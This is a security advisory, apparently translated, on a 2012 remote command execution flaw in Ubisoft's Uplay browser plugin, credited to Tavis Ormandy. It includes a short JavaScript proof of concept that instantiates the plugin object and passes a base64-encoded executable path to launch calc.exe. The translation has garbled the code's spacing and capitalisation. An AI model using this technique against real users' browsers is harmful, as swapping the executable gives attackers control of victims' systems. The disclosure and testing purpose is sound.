Ubisoft Entertainment UPLAY 'object' Control Remote Command Execution Vulnerability

Release date:
Updated on:

Affected Systems:
Ubisoft Entertainment UPLAY
Description:
--------------------------------------------------------------------------------
Ubisoft Entertainment was established in Paris, France in 1986. It is one of the world's leading interactive Entertainment software development and release companies. Uplay is a system bound with Ubisoft games. It provides anti-theft, rewards and punishments functions and is developed by Ubisoft to expand the extended value of its own games, genuine players can unlock various achievements during the game, and then exchange achievement points for special rewards, such as special suits. Some paid items will also be provided for gamers to purchase.

UPLAY has a security vulnerability in its control 'object' implementation. Remote attackers can exploit this vulnerability to remotely enable the Windows built-in calculator to execute arbitrary commands and control the user system.

<* Source: Tavis Ormandy (taviso@gentoo.org)

Link: http://seclists.org/fulldisclosure/2012/Jul/375
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Tavis Ormandy (taviso@gentoo.org) provides the following testing methods:
X = document. createElement ('object ');
X. type = "application/x-uplaypc ";
Document. body. appendChild (x );
X. open ("-orbit_product_id 1-orbit_exe_path
QzpcV0lORE9XU1xTWVNURU0zMlxDQUxDLkVYRQ =-uplay_steam_mode-uplay_dev_mode
-Uplay_dev_mode_auto_play ")

$ Printf "C :\\ WINDOWS \ SYSTEM32 \ CALC. EXE" | base64
QzpcV0lORE9XU1xTWVNURU0zMlxDQUxDLkVYRQ =

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

Ubisoft Entertainment
---------------------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://ghostrecon.us.ubi.com/